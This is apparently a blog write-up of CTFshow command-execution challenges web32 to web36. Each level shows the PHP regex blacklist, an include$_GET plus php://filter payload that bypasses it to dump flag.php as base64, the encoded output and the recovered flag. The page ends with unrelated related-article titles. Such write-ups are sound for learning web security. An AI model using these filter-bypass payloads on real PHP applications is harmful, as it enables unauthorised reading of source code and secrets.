• CTFshow 命令执行 web32 33 34 35 36


    目录

    web32

    代码分析:

    payload:

    flag:

    web33

    代码分析:

    payload:

    web34

    代码分析:

    payload:

    flag:

    web35

    payload:

    flag:

    web36

    代码分析:

    payload:

     flag:


    web32

    代码分析:

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

    这一题过滤的更多了,甚至连分号/左括号都过滤掉了,这时候可以尝试使用文件包含+php协议来做

    payload:

    ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    结果将返回将源代码进行base64加密的字符串

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODkyMDRlYzMtZDAzNS00M2QzLTk5ZTUtMmI2MzkyOTg3Y2JkfSI7DQo= 

    然后我们用在线工具进行解密

    flag:

    ctfshow{89204ec3-d035-43d3-99e5-2b6392987cbd} 

    ps:前面的几道题也可以使用文件包含做,但是没有什么必要

    web33

    代码分析:

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))

     这道题与上一道题类似,也可以使用文件包含做

    payload:

    ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    结果将返回将源代码进行base64加密的字符串

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ZmI5ZDEwZmMtNWE5Ni00NGY5LWExY2YtYmY1NWFmY2JhYTkwfSI7DQo= 

    然后我们用在线工具进行解密

    flag:

    ctfshow{fb9d10fc-5a96-44f9-a1cf-bf55afcbaa90}

    web34

    代码分析:

     if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

    跟前两题解法一样...

    payload:

    ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    flag:

    ctfshow{929704e2-7f4e-4303-b333-18e1a7e7bd6e} 

    web35

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

    跟前三题解法一样...

    payload:

    ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    flag:

    ctfshow{31fa949f-590e-46d5-a292-3656fabc7563}

    web36

    代码分析:

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

    跟前面四题解法类似,但是这里将数字过滤了,所以可以使用字符传参

    payload:

    ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

     flag:

    ctfshow{6043cdb7-3e82-437f-bba3-7e3990480fec}

  • 相关阅读:
    FPGA是什么呢,通透讲解单片机和FPGA的区别
    『vue-router 要点』
    基于JAVA的网络通讯系统设计与实现(论文+系统)
    SQLServer连接表
    pytorch 笔记:index_select
    Elasticsearch:使用字节大小的向量节省空间 - 8.6
    sqlite3 是一个命令行工具,用于与 SQLite 数据库进行交互和管理
    首届828 B2B企业节河北站赋能中小企业数字化转型 打造智慧河北
    软件工程课件
    geoserver多种数据源图层发布详解
  • 原文地址:https://blog.csdn.net/qq_40345591/article/details/127746265